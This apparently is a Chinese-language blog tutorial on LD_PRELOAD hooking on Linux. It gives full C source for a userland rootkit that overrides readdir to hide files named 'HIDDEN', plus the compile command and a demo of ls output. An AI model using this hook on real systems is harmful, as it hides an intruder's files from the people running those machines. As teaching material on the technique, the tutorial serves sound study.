LD_PRELOAD
LD_PRELOAD是Linux/Unix下的環境變數,他可以決定預先要載入的共享函式庫
它比LD_LIBRARY_PATH指定的共用函式庫還要優先,因此LD_PRELOAD裡的全域符號會蓋掉後面載入的同名全域符號
所以我們可以利用LD_PRELOAD來達成Linux/Unix下的hook,要達到rootkit的效果也就輕而易舉
但這只對動態連結的程式有效,因為靜態連結函式庫的代碼都已經包進程式中
實作
因為ls用到readdir這個函數來實作
所以我們覆蓋掉libc裡面的readdir來實作rootkit
做法很簡單,載入libc中原本的readdir(我們叫它old_readdir)
然後把結果中有”HIDDEN”的都濾掉
code如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #include <stdio.h> #include <dirent.h> #include <string.h> #include <dlfcn.h> #include <sys/types.h> void *libc = NULL; struct dirent *(*old_readdir)(DIR *dirp); struct dirent *readdir(DIR *dirp) { struct dirent *ret = NULL; if (NULL == libc) { if (NULL == (libc = dlopen("/lib/libc.so.6", RTLD_LAZY))) { goto END; } } if (NULL == old_readdir) { if (NULL == (old_readdir = dlsym(libc, "readdir"))) { goto END; } } while(1) { ret = old_readdir(dirp); if (ret && 0 == strcmp(ret->d_name, "HIDDEN")) { continue; } break; } END: return ret; }
|
編譯一下
1
| $ gcc -fPIC -shared -o rootkit.so rootkit.c
|
設置LD_PRELOAD並執行ls
1 2 3 4
| $ /bin/ls rootkit.c rootkit.so HIDDEN $ env LD_PRELOAD=./rootkit.so /bin/ls rootkit.c rootkit.so
|
即可發現當前目錄下名字為HIDDEN的都消失了,就算下參數-al也一樣